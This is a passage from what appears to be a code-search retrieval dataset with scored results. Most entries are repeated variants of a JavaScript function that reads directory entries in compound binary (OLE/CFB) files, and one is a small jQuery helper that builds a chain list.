FileIndex, mini) {\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name;\n\tfor(; i < sector.length; i+= 128) {\n\t\tvar blob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\tvar o = ({\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i'),\n\t\t\tstart: 0,\n\t\t\tsize: 0\n\t\t});\n\t\tvar ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) o.ct = read_date(blob, blob.l-8);\n\t\tvar mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) o.mt = read_date(blob, blob.l-8);\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.size < 0 && o.start < 0) { o.size = o.type = 0; o.start = ENDOFCHAIN; o.name = \"\"; }\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = (sector_list[o.start].data.slice(0,o.size));\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(o.size < 0) o.size = 0;\n\t\t\telse if(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN && sector_list[minifat_store]) {\n\t\t\t\to.content = get_mfat_entry(o, sector_list[minifat_store].data, (sector_list[mini]||{}).data);\n\t\t\t}\n\t\t}\n\t\tif(o.content) prep_blob(o.content, 0);\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "500e83b58f18e57d208bfb42b2a65b1d", "score": "0.5241746", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex, mini) {\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name;\n\tfor(; i < sector.length; i+= 128) {\n\t\tvar blob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\tvar o = ({\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i'),\n\t\t\tstart: 0,\n\t\t\tsize: 0\n\t\t});\n\t\tvar ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) o.ct = read_date(blob, blob.l-8);\n\t\tvar mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) o.mt = read_date(blob, blob.l-8);\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.size < 0 && o.start < 0) { o.size = o.type = 0; o.start = ENDOFCHAIN; o.name = \"\"; }\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = (sector_list[o.start].data.slice(0,o.size));\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(o.size < 0) o.size = 0;\n\t\t\telse if(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN && sector_list[minifat_store]) {\n\t\t\t\to.content = get_mfat_entry(o, sector_list[minifat_store].data, (sector_list[mini]||{}).data);\n\t\t\t}\n\t\t}\n\t\tif(o.content) prep_blob(o.content, 0);\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "500e83b58f18e57d208bfb42b2a65b1d", "score": "0.5241746", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex, mini) {\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name;\n\tfor(; i < sector.length; i+= 128) {\n\t\tvar blob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\tvar o = ({\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i'),\n\t\t\tstart: 0,\n\t\t\tsize: 0\n\t\t});\n\t\tvar ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) o.ct = read_date(blob, blob.l-8);\n\t\tvar mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) o.mt = read_date(blob, blob.l-8);\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.size < 0 && o.start < 0) { o.size = o.type = 0; o.start = ENDOFCHAIN; o.name = \"\"; }\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = (sector_list[o.start].data.slice(0,o.size));\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(o.size < 0) o.size = 0;\n\t\t\telse if(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN && sector_list[minifat_store]) {\n\t\t\t\to.content = get_mfat_entry(o, sector_list[minifat_store].data, (sector_list[mini]||{}).data);\n\t\t\t}\n\t\t}\n\t\tif(o.content) prep_blob(o.content, 0);\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "500e83b58f18e57d208bfb42b2a65b1d", "score": "0.5241746", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex, mini) {\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name;\n\tfor(; i < sector.length; i+= 128) {\n\t\tvar blob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\tvar o = ({\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i'),\n\t\t\tstart: 0,\n\t\t\tsize: 0\n\t\t});\n\t\tvar ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) o.ct = read_date(blob, blob.l-8);\n\t\tvar mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) o.mt = read_date(blob, blob.l-8);\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.size < 0 && o.start < 0) { o.size = o.type = 0; o.start = ENDOFCHAIN; o.name = \"\"; }\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = (sector_list[o.start].data.slice(0,o.size));\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(o.size < 0) o.size = 0;\n\t\t\telse if(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN && sector_list[minifat_store]) {\n\t\t\t\to.content = get_mfat_entry(o, sector_list[minifat_store].data, (sector_list[mini]||{}).data);\n\t\t\t}\n\t\t}\n\t\tif(o.content) prep_blob(o.content, 0);\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "06a9c4bb91ee8b4dbb8443ea1925a5c3", "score": "0.51999545", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex) {\n var blob;\n var minifat_store = 0, pl = Paths.length ? 2 : 0;\n var sector = sector_list[dir_start].data;\n var i = 0, namelen = 0, name, o, ctime, mtime;\n for (; i < sector.length; i += 128) {\n blob = sector.slice(i, i + 128);\n prep_blob(blob, 64);\n namelen = blob.read_shift(2);\n if (namelen === 0)\n continue;\n name = __utf16le(blob, 0, namelen - pl);\n Paths.push(name);\n o = {\n name: name,\n type: blob.read_shift(1),\n color: blob.read_shift(1),\n L: blob.read_shift(4, 'i'),\n R: blob.read_shift(4, 'i'),\n C: blob.read_shift(4, 'i'),\n clsid: blob.read_shift(16),\n state: blob.read_shift(4, 'i')\n };\n ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n if (ctime !== 0) {\n o.ctime = ctime;\n o.ct = read_date(blob, blob.l - 8);\n }\n mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n if (mtime !== 0) {\n o.mtime = mtime;\n o.mt = read_date(blob, blob.l - 8);\n }\n o.start = blob.read_shift(4, 'i');\n o.size = blob.read_shift(4, 'i');\n if (o.type === 5) {\n /* root */\n minifat_store = o.start;\n if (nmfs > 0 && minifat_store !== ENDOFCHAIN)\n sector_list[minifat_store].name = '!StreamData'; /*minifat_size = o.size;*/\n } else if (o.size >= 4096) {\n o.storage = 'fat';\n if (sector_list[o.start] === undefined)\n sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n sector_list[o.start].name = o.name;\n o.content = sector_list[o.start].data.slice(0, o.size);\n prep_blob(o.content, 0);\n } else {\n o.storage = 'minifat';\n if (minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN) {\n o.content = sector_list[minifat_store].data.slice(o.start * MSSZ, o.start * MSSZ + o.size);\n prep_blob(o.content, 0);\n }\n }\n files[name] = o;\n FileIndex.push(o);\n }\n }", "title": "" }, { "docid": "06a9c4bb91ee8b4dbb8443ea1925a5c3", "score": "0.51999545", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex) {\n var blob;\n var minifat_store = 0, pl = Paths.length ? 2 : 0;\n var sector = sector_list[dir_start].data;\n var i = 0, namelen = 0, name, o, ctime, mtime;\n for (; i < sector.length; i += 128) {\n blob = sector.slice(i, i + 128);\n prep_blob(blob, 64);\n namelen = blob.read_shift(2);\n if (namelen === 0)\n continue;\n name = __utf16le(blob, 0, namelen - pl);\n Paths.push(name);\n o = {\n name: name,\n type: blob.read_shift(1),\n color: blob.read_shift(1),\n L: blob.read_shift(4, 'i'),\n R: blob.read_shift(4, 'i'),\n C: blob.read_shift(4, 'i'),\n clsid: blob.read_shift(16),\n state: blob.read_shift(4, 'i')\n };\n ctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n if (ctime !== 0) {\n o.ctime = ctime;\n o.ct = read_date(blob, blob.l - 8);\n }\n mtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n if (mtime !== 0) {\n o.mtime = mtime;\n o.mt = read_date(blob, blob.l - 8);\n }\n o.start = blob.read_shift(4, 'i');\n o.size = blob.read_shift(4, 'i');\n if (o.type === 5) {\n /* root */\n minifat_store = o.start;\n if (nmfs > 0 && minifat_store !== ENDOFCHAIN)\n sector_list[minifat_store].name = '!StreamData'; /*minifat_size = o.size;*/\n } else if (o.size >= 4096) {\n o.storage = 'fat';\n if (sector_list[o.start] === undefined)\n sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n sector_list[o.start].name = o.name;\n o.content = sector_list[o.start].data.slice(0, o.size);\n prep_blob(o.content, 0);\n } else {\n o.storage = 'minifat';\n if (minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN) {\n o.content = sector_list[minifat_store].data.slice(o.start * MSSZ, o.start * MSSZ + o.size);\n prep_blob(o.content, 0);\n }\n }\n files[name] = o;\n FileIndex.push(o);\n }\n }", "title": "" }, { "docid": "813a2f444afdc229e5e2b1d7f2313860", "score": "0.5000657", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex) {\n\t\tvar blob;\n\t\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\t\tvar sector = sector_list[dir_start].data;\n\t\tvar i = 0, namelen = 0, name, o, ctime, mtime;\n\t\tfor(; i < sector.length; i+= 128) {\n\t\t\tblob = sector.slice(i, i+128);\n\t\t\tprep_blob(blob, 64);\n\t\t\tnamelen = blob.read_shift(2);\n\t\t\tif(namelen === 0) continue;\n\t\t\tname = __utf16le(blob,0,namelen-pl);\n\t\t\tPaths.push(name);\n\t\t\to = {\n\t\t\t\tname: name,\n\t\t\t\ttype: blob.read_shift(1),\n\t\t\t\tcolor: blob.read_shift(1),\n\t\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\t\tclsid: blob.read_shift(16),\n\t\t\t\tstate: blob.read_shift(4, 'i')\n\t\t\t};\n\t\t\tctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\t\tif(ctime !== 0) {\n\t\t\t\to.ctime = ctime; o.ct = read_date(blob, blob.l-8);\n\t\t\t}\n\t\t\tmtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\t\tif(mtime !== 0) {\n\t\t\t\to.mtime = mtime; o.mt = read_date(blob, blob.l-8);\n\t\t\t}\n\t\t\to.start = blob.read_shift(4, 'i');\n\t\t\to.size = blob.read_shift(4, 'i');\n\t\t\tif(o.type === 5) { /* root */\n\t\t\t\tminifat_store = o.start;\n\t\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t\t/*minifat_size = o.size;*/\n\t\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\t\to.storage = 'fat';\n\t\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\t\tsector_list[o.start].name = o.name;\n\t\t\t\to.content = sector_list[o.start].data.slice(0,o.size);\n\t\t\t\tprep_blob(o.content, 0);\n\t\t\t} else {\n\t\t\t\to.storage = 'minifat';\n\t\t\t\tif(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN) {\n\t\t\t\t\to.content = sector_list[minifat_store].data.slice(o.start*MSSZ,o.start*MSSZ+o.size);\n\t\t\t\t\tprep_blob(o.content, 0);\n\t\t\t\t}\n\t\t\t}\n\t\t\tfiles[name] = o;\n\t\t\tFileIndex.push(o);\n\t\t}\n\t}", "title": "" }, { "docid": "e428342d29c0d652da45f877f04788db", "score": "0.49577272", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex) {\n\tvar blob;\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name, o, ctime, mtime;\n\tfor(; i < sector.length; i+= 128) {\n\t\tblob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tif(namelen === 0) continue;\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\to = {\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i')\n\t\t};\n\t\tctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) {\n\t\t\to.ctime = ctime; o.ct = read_date(blob, blob.l-8);\n\t\t}\n\t\tmtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) {\n\t\t\to.mtime = mtime; o.mt = read_date(blob, blob.l-8);\n\t\t}\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = sector_list[o.start].data.slice(0,o.size);\n\t\t\tprep_blob(o.content, 0);\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN) {\n\t\t\t\to.content = sector_list[minifat_store].data.slice(o.start*MSSZ,o.start*MSSZ+o.size);\n\t\t\t\tprep_blob(o.content, 0);\n\t\t\t}\n\t\t}\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "e428342d29c0d652da45f877f04788db", "score": "0.49577272", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex) {\n\tvar blob;\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name, o, ctime, mtime;\n\tfor(; i < sector.length; i+= 128) {\n\t\tblob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tif(namelen === 0) continue;\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\to = {\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i')\n\t\t};\n\t\tctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) {\n\t\t\to.ctime = ctime; o.ct = read_date(blob, blob.l-8);\n\t\t}\n\t\tmtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) {\n\t\t\to.mtime = mtime; o.mt = read_date(blob, blob.l-8);\n\t\t}\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = sector_list[o.start].data.slice(0,o.size);\n\t\t\tprep_blob(o.content, 0);\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN) {\n\t\t\t\to.content = sector_list[minifat_store].data.slice(o.start*MSSZ,o.start*MSSZ+o.size);\n\t\t\t\tprep_blob(o.content, 0);\n\t\t\t}\n\t\t}\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "e428342d29c0d652da45f877f04788db", "score": "0.49577272", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex) {\n\tvar blob;\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name, o, ctime, mtime;\n\tfor(; i < sector.length; i+= 128) {\n\t\tblob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tif(namelen === 0) continue;\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\to = {\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i')\n\t\t};\n\t\tctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) {\n\t\t\to.ctime = ctime; o.ct = read_date(blob, blob.l-8);\n\t\t}\n\t\tmtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) {\n\t\t\to.mtime = mtime; o.mt = read_date(blob, blob.l-8);\n\t\t}\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = sector_list[o.start].data.slice(0,o.size);\n\t\t\tprep_blob(o.content, 0);\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN) {\n\t\t\t\to.content = sector_list[minifat_store].data.slice(o.start*MSSZ,o.start*MSSZ+o.size);\n\t\t\t\tprep_blob(o.content, 0);\n\t\t\t}\n\t\t}\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "e428342d29c0d652da45f877f04788db", "score": "0.49577272", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex) {\n\tvar blob;\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name, o, ctime, mtime;\n\tfor(; i < sector.length; i+= 128) {\n\t\tblob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tif(namelen === 0) continue;\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\to = {\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i')\n\t\t};\n\t\tctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) {\n\t\t\to.ctime = ctime; o.ct = read_date(blob, blob.l-8);\n\t\t}\n\t\tmtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) {\n\t\t\to.mtime = mtime; o.mt = read_date(blob, blob.l-8);\n\t\t}\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) sector_list[minifat_store].name = \"!StreamData\";\n\t\t\t/*minifat_size = o.size;*/\n\t\t} else if(o.size >= 4096 /* MSCSZ */) {\n\t\t\to.storage = 'fat';\n\t\t\tif(sector_list[o.start] === undefined) sector_list[o.start] = get_sector_list(sectors, o.start, sector_list.fat_addrs, sector_list.ssz);\n\t\t\tsector_list[o.start].name = o.name;\n\t\t\to.content = sector_list[o.start].data.slice(0,o.size);\n\t\t\tprep_blob(o.content, 0);\n\t\t} else {\n\t\t\to.storage = 'minifat';\n\t\t\tif(minifat_store !== ENDOFCHAIN && o.start !== ENDOFCHAIN) {\n\t\t\t\to.content = sector_list[minifat_store].data.slice(o.start*MSSZ,o.start*MSSZ+o.size);\n\t\t\t\tprep_blob(o.content, 0);\n\t\t\t}\n\t\t}\n\t\tfiles[name] = o;\n\t\tFileIndex.push(o);\n\t}\n}", "title": "" }, { "docid": "472cfbf53c0031a80a9ff696ef22c1bf", "score": "0.4952059", "text": "function buildChain() {\n chains=[];\n chains_pos=0;\n $(\".chain-item\").each(function(index,value) {\n let id=parseInt($(this).prop(\"id\"));\n let parent=$(this).parent();\n chains.push({\"id\":id,\"slot\":parent.prop(\"id\"),\"loop\":parent.hasClass(\"yellow\")});\n if (parent.hasClass(\"dropto-orange\")) {\n chains_pos=index;\n }\n });\n }", "title": "" }, { "docid": "01b54679565a814aacee90a5cce11460", "score": "0.49519816", "text": "function read_directory(dir_start, sector_list, sectors, Paths, nmfs, files, FileIndex) {\n\tvar blob;\n\tvar minifat_store = 0, pl = (Paths.length?2:0);\n\tvar sector = sector_list[dir_start].data;\n\tvar i = 0, namelen = 0, name, o, ctime, mtime;\n\tfor(; i < sector.length; i+= 128) {\n\t\tblob = sector.slice(i, i+128);\n\t\tprep_blob(blob, 64);\n\t\tnamelen = blob.read_shift(2);\n\t\tif(namelen === 0) continue;\n\t\tname = __utf16le(blob,0,namelen-pl);\n\t\tPaths.push(name);\n\t\to = ({\n\t\t\tname: name,\n\t\t\ttype: blob.read_shift(1),\n\t\t\tcolor: blob.read_shift(1),\n\t\t\tL: blob.read_shift(4, 'i'),\n\t\t\tR: blob.read_shift(4, 'i'),\n\t\t\tC: blob.read_shift(4, 'i'),\n\t\t\tclsid: blob.read_shift(16),\n\t\t\tstate: blob.read_shift(4, 'i')\n\t\t});\n\t\tctime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(ctime !== 0) {\n\t\t\to.ctime = ctime; o.ct = read_date(blob, blob.l-8);\n\t\t}\n\t\tmtime = blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2) + blob.read_shift(2);\n\t\tif(mtime !== 0) {\n\t\t\to.mtime = mtime; o.mt = read_date(blob, blob.l-8);\n\t\t}\n\t\to.start = blob.read_shift(4, 'i');\n\t\to.size = blob.read_shift(4, 'i');\n\t\tif(o.type === 5) { /* root */\n\t\t\tminifat_store = o.start;\n\t\t\tif(nmfs > 0 && minifat_store !== ENDOFCHAIN) 